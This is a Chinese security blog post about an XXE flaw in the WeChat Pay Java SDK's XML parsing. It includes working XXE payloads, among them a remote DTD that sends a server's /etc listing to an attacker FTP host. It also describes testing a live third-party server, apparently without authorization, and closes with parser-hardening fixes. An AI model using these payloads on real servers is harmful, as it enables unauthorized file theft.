微信支付SDK JAVA版今天曝出了XXE漏洞,主要原因是在使用DOM处理回传的XML格式的支付结果通知时,未禁用外部实体、参数实体、内联DTD等,导致存在XXE漏洞。
0x01 原理分析
作者原文分析提到在看微信支付JAVA SDK的说明文档时,发现了结果通知代码示例:
import com.github.wxpay.sdk.WXPay; import com.github.wxpay.sdk.WXPayUtil; import java.util.Map; public class WXPayExample { public static void main(String[] args) throws Exception { String notifyData = "...."; // 支付结果通知的xml格式数据 MyConfig config = new MyConfig(); WXPay wxpay = new WXPay(config); Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData); // 转换成map if (wxpay.isPayResultNotifySignatureValid(notifyMap)) { // 签名正确 // 进行处理。 // 注意特殊情况:订单已经退款,但收到了支付结果成功的通知,不应把商户侧订单状态从退款改成支付成功 } else { // 签名错误,如果数据里没有sign字段,也认为是签名错误 } } }
其中notifyData是攻击者可控的,再看微信支付JAVA SDK中的WXPayUtil.xmlToMap()方法,代码片段如下:
public class WXPayUtil { /** * XML格式字符串转换为Map * * @param strXML XML字符串 * @return XML数据转换后的Map * @throws Exception */ public static Map<String, String> xmlToMap(String strXML) throws Exception { try { Map<String, String> data = new HashMap<String, String>(); DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); //未使用setFeature()方法来禁用外部实体、参数实体、内联DTD等。 DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); doc.getDocumentElement().normalize(); NodeList nodeList = doc.getDocumentElement().getChildNodes(); for (int idx = 0; idx < nodeList.getLength(); ++idx) { Node node = nodeList.item(idx); if (node.getNodeType() == Node.ELEMENT_NODE) { org.w3c.dom.Element element = (org.w3c.dom.Element) node; data.put(element.getNodeName(), element.getTextContent()); } } try { stream.close(); } catch (Exception ex) { // do nothing } return data; } catch (Exception ex) { WXPayUtil.getLogger().warn("Invalid XML, can not convert to map. Error message: {}. XML content: {}", ex.getMessage(), strXML); throw ex; } }
外部实体可控,攻击者通过向notify_url提交恶意的实体内容notifyData,支付结果处理server对XML数据进行处理的时候导致了漏洞的产生。
0x02 测试方法及利用
该支付SDK在生成订单的时候,会向api.mch.weixin.qq.com提交notifyurl参数,通过抓包有可能获取notifyurl参数的值。为了测试这个漏洞,使用appscan.io搜索关键字,下了n个app,在支付生成订单的时候,进行抓包,能够看到的请求:
POST /pay/unifiedorder HTTP/1.1 Accept: application/json Content-type: application/json Content-Length: 453 Host: api.mch.weixin.qq.com Connection: close <xml><appid>wx3277506be60ee127</appid><body>750000游戏币</body><detail>购买获得750000游戏币</detail><mch_id>1272031101</mch_id><nonce_str>acff1af62d0f91f4be73f485</nonce_str><notify_url>http://xxxxxx.com/callback</notify_url><out_trade_no>4d2bd9e39af0ab27aeb7c16</out_trade_no><spbill_create_ip>127.0.0.1</spbill_create_ip><total_fee>8000</total_fee><trade_type>APP</trade_type><sign>D0810374A618FF5FA84107</sign></xml>
通过这种方法可以获取到notifyurl,装了很多app,最后发现大多都是微信支付php版的sdk。有部分app通过抓包是无法获取到notifyurl的,猜测反编译app之后可能会搜索到代码中配置的notify_url。不过简单反编译了几个,发现居然都加固了,并且都是同样的加固方式:
从中午一直折腾到下午吃饭,还没有找到可以实战测试的线上app,也就放弃了用这种方式。最后只能耐心的翻github了,翻了大概200页github,找到了n多个地址,不过很多估计都是测试的地址,无法访问,能访问的居然也利用不成功。
吃完晚饭,放弃了去健身房撸铁的想法,继续翻github,再快要放弃的时候终于找到一个可以利用的。使用dnslog和俄罗斯OnSec实验室曾针对Java程序的XXE-OOB攻击作出了相关研究给出的payload,以及一个通过ftp服务读取系统目录的漏洞利用脚本xxe-ftp-server.rb提供的方式,都复现了:
POST /pay/WeixinNotify HTTP/1.1 HOST: api.xxxx.com Accept: */* User-Agent: android_6.0_tencent_yingyongbao Content-Length: 134 Content-Type: application/xml;charset=UTF-8 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://xxxxx.8ug564.ceye.io/"> %xxe; ]>
另外使用ftp外带的方式可以读取系统的文件,使用网上的利用脚本方法如下:
POST /pay/WeixinNotify HTTP/1.1 HOST: api.xxxxx.com Accept: */* User-Agent: android_6.0_tencent_yingyongbao Content-Length: 180 Content-Type: application/xml;charset=UTF-8 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % aad SYSTEM "http://www.nxadmin.com/xxe/data.dtd"> %aad; %c; ]> <a>&rrr;</a>
data.dtd的文件内容如下:
<!ENTITY % d SYSTEM "file:///etc/"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://111.111.111.111:2121/%d;'>"> %c;
然后在自有服务器111.111.111.111上执行ruby脚本,就可以看到收到的读取的被攻击服务器上的目录和文件内容。如图:
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
0x03 修复建议
在编写处理可能不受信任的来源的XML的软件时,要做到尽可能的安全,必须禁用一些XML功能,主要有:
- DTD解释器,确保DOCTYPE标记被忽略或包含它们的文档被拒绝;
- 外部实体,如果DOCTYPE不能完全禁用,请确保引用的外部实体被拒绝;
- schemaLocation,如果解析器包含这个属性,要确保任意文档不会被检索。
- XIncludes,此功能应被禁用。
JAVA:
JAVA在使用DOM处理xml的时候,要用setFeature参数来禁用外部实体、参数实体、内联DTD等。示例如下:
//未捕获ParserConfigurationException 异常,仅参考 import javax.xml.parsers.DocumentBuilderFactory; DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); //修复方法1:不允许DTDS(DOCTYPE),优先选择的解决方案,几乎可以阻止所有的XML实体攻击 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //修复方法2: //true表示实现安全的处理XML,会对XML的结构进行限制,避免出现利用XXE进行文件读取的攻击行为 //如果设置为false,表示根据XML的规范处理XML,忽略安全问题 dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true); //其它说明:如果没办法完全不允许DTDS,至少按照如下方法修复 //该feature的作用是配置是否包含参数实体,设置false禁用参数实体 //xerces 1:http://xerces.apache.org/xerces-j/features.html#external-parameter-entities //xerces 2:http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //该feature的功能指是否包含外部生成的实体,设置false禁用外部实体。 //利用外部实体的payload示例: /* <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxesec [<!ENTITY xxe SYSTEM "http://aaa.8ug564.ceye.io" >]> <methodname>&xxe;</methodname> */ //xerces 1:http://xerces.apache.org/xerces-j/features.html#external-general-entities //xerces 2:http://xerces.apache.org/xerces2-j/features.html#external-general-entities dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); //该feature的功能指是否包含外部DTD,设置false禁用外部Dtd //xerces:http://xerces.apache.org/xerces-j/features.html#load-external-dtd dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",false);
feature表示解析器的功能,通过设置feature,可以控制XML解析器的行为,如是否对XML文件进行验证等。
PHP:
php的XML解析器,xmlparse和simplexmlload,xmlparse默认不会解析外部实体,simplexmlload需要自行设置,方法如下:
<code class="language-none">libxml_disable_entity_loader(true);</code>
也可以使用OpenRasp来针对该XXE漏洞进行防护: https://rasp.baidu.com/
0x04 参考文档:
http://seclists.org/fulldisclosure/2018/Jul/3
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
修复建议应该是之前在查资料总结的,针对XXE漏洞的修复方法,可能有不准确的地方。至于微信支付java SDK的这个漏洞,直接使用官方的修复后的版本就可以了。
- 本文固定链接: http://www.nxadmin.com/web/1686.html
- 转载请注明: admin 于 阿德马Web安全 发表